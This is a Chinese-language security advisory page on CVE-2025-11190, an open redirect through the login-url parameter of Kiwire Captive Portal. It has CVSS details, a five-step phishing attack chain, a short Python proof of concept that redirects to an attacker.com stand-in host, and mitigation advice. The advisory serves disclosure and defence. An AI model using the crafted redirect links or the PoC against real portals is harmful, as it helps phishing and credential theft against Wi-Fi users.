IPBUF安全漏洞报告
English
CVE-2025-11190 CVSS 5.4 中危

CVE-2025-11190 Kiwire Captive Portal开放重定向漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11190
漏洞类型
开放重定向(Open Redirect)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Kiwire Captive Portal

相关标签

开放重定向Open RedirectCWE-601KiwireCaptive PortalSynchroweb钓鱼攻击网络认证中危漏洞login-url参数

漏洞概述

CVE-2025-11190是Kiwire Captive Portal(由Synchroweb开发的一款广泛使用的网络认证门户/热点管理系统)中存在的一个开放重定向漏洞。该漏洞于2025年10月10日由[email protected]发现并披露,CVSS 3.1评分为5.4分,属于中危级别。

Kiwire Captive Portal主要用于企业、学校、酒店、商场等公共场所提供Wi-Fi接入认证服务,用户在连接网络后会被重定向到登录页面进行身份验证。该漏洞存在于门户的登录URL处理逻辑中,攻击者可以通过操纵`login-url`参数,将用户重定向到攻击者控制的恶意网站。

由于该漏洞无需认证即可利用(PR:N),且攻击向量为网络(AV:N),远程攻击者可以构造包含恶意`login-url`参数的链接,诱骗已通过认证的用户点击。由于需要用户交互(UI:R),该漏洞通常与钓鱼攻击结合使用,攻击者可以借助Kiwire门户的可信域名绕过用户的安全警惕心理,成功实施钓鱼攻击或窃取用户凭据。

该漏洞对机密性产生低影响(C:L),对完整性产生低影响(I:L),对可用性无影响(A:N),主要风险在于被用作钓鱼攻击的辅助工具,间接导致更严重的安全事件。

技术细节

开放重定向漏洞(Open Redirect)是一种Web应用程序安全漏洞,发生在应用程序接受不可信输入作为重定向目标URL时,未对目标URL进行充分验证的情况下。攻击者可以利用该漏洞将用户重定向到任意外部网站,常用于钓鱼攻击和绕过安全策略。

在Kiwire Captive Portal中,漏洞触发点位于`login-url`参数。该参数通常用于在用户完成认证后将其重定向回原始请求页面或指定的登录成功页面。然而,由于服务器端未对该参数的值进行严格的URL验证和域名白名单检查,攻击者可以将任意外部URL(如`https://evil.com/phishing`)作为`login-url`参数的值提交。

当用户点击包含恶意`login-url`参数的链接时,Kiwire门户服务器在完成相关处理后,会根据该参数的值执行302或301重定向,将浏览器导向攻击者控制的网站。由于重定向来源于用户信任的Kiwire门户域名,用户通常不会对跳转产生怀疑,从而降低了钓鱼攻击的难度。

利用方式:
1. 攻击者构造一个包含恶意`login-url`参数的URL,例如:`https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login`
2. 攻击者通过钓鱼邮件、即时消息或其他社交工程手段将该链接发送给目标用户
3. 用户点击链接后,首先访问合法的Kiwire门户域名
4. Kiwire门户处理请求后,将用户重定向到`https://attacker.com/fake-login`
5. 攻击者在恶意网站上部署伪造的登录页面,窃取用户凭据或其他敏感信息

该漏洞的技术根源在于缺乏对重定向目标URL的验证机制,修复方案应包括实施严格的URL白名单策略、验证重定向目标是否属于同一域名或预定义的合法目标列表。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者首先识别目标组织使用的Kiwire Captive Portal实例,获取其门户登录URL(如https://kiwire-portal.example.com/login),并搭建一个仿冒的钓鱼网站作为重定向目标。
STEP 2
步骤2:构造恶意URL
攻击者构造包含恶意login-url参数的链接,例如:https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login,该链接以合法的Kiwire门户域名为前缀,降低用户的警惕性。
STEP 3
步骤3:钓鱼分发
攻击者通过钓鱼邮件、社交媒体消息、即时通讯工具等社交工程手段,将恶意链接分发给目标用户,利用用户对Kiwire门户域名的信任诱导其点击。
STEP 4
步骤4:触发开放重定向
目标用户点击链接后,浏览器首先访问合法的Kiwire门户域名,门户服务器处理login-url参数后返回302重定向响应,将用户浏览器导向攻击者控制的恶意网站。
STEP 5
步骤5:实施钓鱼攻击
用户在攻击者的伪造登录页面输入凭据或其他敏感信息,攻击者收集这些信息后用于进一步攻击,如账户接管、横向移动或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11190 - Kiwire Captive Portal Open Redirect PoC # Vulnerability: Open Redirect via login-url parameter # The login-url parameter does not validate the redirect target, # allowing attackers to redirect users to arbitrary external websites. import requests # Target Kiwire Captive Portal URL TARGET_URL = "https://kiwire-portal.example.com/login" # Attacker's controlled malicious website MALICIOUS_URL = "https://attacker.com/phishing-page" def exploit_open_redirect(target_url, malicious_url): """ Exploit the open redirect vulnerability by injecting a malicious URL into the login-url parameter. """ # Construct the malicious URL with the login-url parameter set to attacker-controlled site params = { "login-url": malicious_url } # Send the request (allow_redirects=False to observe the redirect) response = requests.get(target_url, params=params, allow_redirects=False) # Check if the server responded with a redirect (3xx status code) if response.status_code in (301, 302, 303, 307, 308): redirect_location = response.headers.get("Location", "") print(f"[+] Redirect detected!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {redirect_location}") if malicious_url in redirect_location: print(f"[+] VULNERABLE: Server redirected to attacker-controlled URL: {redirect_location}") return True else: print(f"[-] Not vulnerable or redirect was sanitized.") return False else: print(f"[-] No redirect response. Status: {response.status_code}") return False if __name__ == "__main__": # Example malicious link that can be sent to victims: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/phishing-page exploit_open_redirect(TARGET_URL, MALICIOUS_URL) # Example malicious URL to distribute via phishing: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login

影响范围

Kiwire Captive Portal(所有未修复的版本,具体版本范围待厂商确认)

防御指南

临时缓解措施
在等待官方补丁发布期间,建议管理员采取以下临时缓解措施:1)在Web服务器或反向代理层面配置URL过滤规则,拦截包含外部域名的login-url参数请求;2)修改Kiwire门户配置,限制login-url参数仅接受内部路径或预定义的安全重定向目标;3)部署WAF规则匹配常见的开放重定向Payload模式(如包含http://、https://、//等开头的参数值);4)对用户进行安全意识培训,警惕来自Wi-Fi门户的异常跳转请求;5)监控门户日志中的可疑重定向活动,及时发现和阻断攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表